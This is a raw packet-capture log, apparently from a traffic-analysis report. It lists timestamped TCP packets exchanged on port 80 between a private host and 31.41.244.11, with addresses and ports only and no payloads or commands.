Dec 13, 2024 01:51:33.443046093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.443166971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.443185091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.443214893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.444073915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.444130898 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.444205999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.444267035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.445081949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.445276976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.445338964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.446062088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.446120024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.446187019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.446233988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.447022915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.447104931 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.447160006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.448044062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.448120117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.448174000 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.448220015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.449044943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.449116945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.449163914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.449214935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.450031042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.450167894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.450220108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.451011896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.451067924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.451133966 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.452024937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.452079058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.452142000 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.452191114 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.453032017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.453080893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.453149080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.453246117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.454026937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.454080105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.454144001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.454195023 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.455029964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.455084085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.455138922 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.456038952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.456126928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.456168890 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.456231117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.457029104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.457083941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.457146883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.457199097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.457983017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.458038092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.458081007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.458131075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.458998919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.459050894 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.459130049 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.459999084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.460081100 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.460092068 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.460161924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.460989952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.461069107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.461118937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.461194038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.461990118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.462069035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.462110996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.462184906 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.462995052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.463085890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.463135004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.463977098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.464056015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.464099884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.464165926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.464993000 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.465070963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.465109110 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.465189934 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.466002941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.466079950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.466130972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.466211081 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.466967106 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.467045069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.467097998 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.467977047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.468056917 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.468096972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.468168020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.468976021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.469108105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.469192982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.469980955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.470060110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.470108986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.470179081 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.470944881 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.471020937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.471075058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.471158028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.471952915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.472094059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.472179890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.472950935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.473030090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.473063946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.473134995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.473958969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.474037886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.474059105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.474133015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.474695921 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.474968910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.475070953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.475156069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.475918055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.476030111 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.476108074 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.476903915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.476974964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.476979971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.477060080 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.477910042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.477988958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.478025913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.478096008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.478915930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.478991985 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.479147911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.479923964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.480003119 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.480010033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.480088949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.480896950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.480984926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.481012106 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.481081009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.481880903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.481956959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.481993914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.482062101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.482882023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.482958078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.482995987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.483068943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.483892918 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.484009981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.484126091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.484910965 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.484989882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.485018015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.485084057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.485899925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.485975981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.486052990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.486124039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.486881971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.486977100 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.486994982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.487054110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.487879038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.487987041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.488064051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.488887072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.488962889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.488991022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.489058971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.489869118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.489940882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.489985943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.490056992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.490881920 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.490957022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.491029978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.491105080 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.491897106 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.492003918 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.492105007 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.492908955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.492989063 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.493086100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.493161917 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.493874073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.493947983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.493966103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.494035006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.634629011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.634671926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.634776115 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.635133028 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.635190964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.635257959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.636085987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.636250973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.636255026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.636303902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.637084007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.637204885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.637243032 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.637296915 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.638087034 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.638147116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.638166904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.638219118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.639091015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.639216900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.639271975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.640110016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.640158892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.640221119 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.640285015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.641103983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.641195059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.641243935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.641290903 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.642086029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.642138958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.642204046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.642251015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.643090963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.643146992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.643213034 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.644081116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.644153118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.644200087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.644253969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.645121098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.645180941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.645230055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.645279884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.646105051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.646159887 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.646238089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.646289110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.647097111 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.647156954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.647222996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.648094893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.648173094 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.648236036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.648286104 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.649084091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.649147034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.649224043 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.649271965 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.650063038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.650120020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.650186062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.650239944 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.651045084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.651109934 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.651158094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.651454926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.652054071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.652107954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.652157068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.653050900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.653103113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.653168917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.653229952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.654042006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.654092073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.654156923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.654202938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.655056953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.655107975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.655194044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.656075954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.656125069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.656204939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.656254053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.657044888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.657100916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.657176971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.657222033 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.658065081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.658114910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.658123970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.658168077 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.659007072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.659058094 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.659136057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.660029888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.660080910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.660167933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.660213947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.661036968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.661086082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.661151886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.661196947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.661997080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.662050962 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.662125111 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.662168026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.662993908 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.663043022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.663110018 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.664028883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.664087057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.664139986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.664187908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.665076971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.665138006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.665157080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.665200949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.666019917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.666078091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.666142941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.666199923 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.667035103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.667083025 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.667083025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.667128086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.667989016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.668123007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.668169022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.668981075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.669028044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.669095039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.669142008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.669986010 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.670032978 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.670099020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.670141935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.670973063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.671020031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.671083927 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.671129942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.671991110 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.672101974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.672148943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.672976017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.673022985 CET	49809	80	192.168.2.4	31.41.244.11
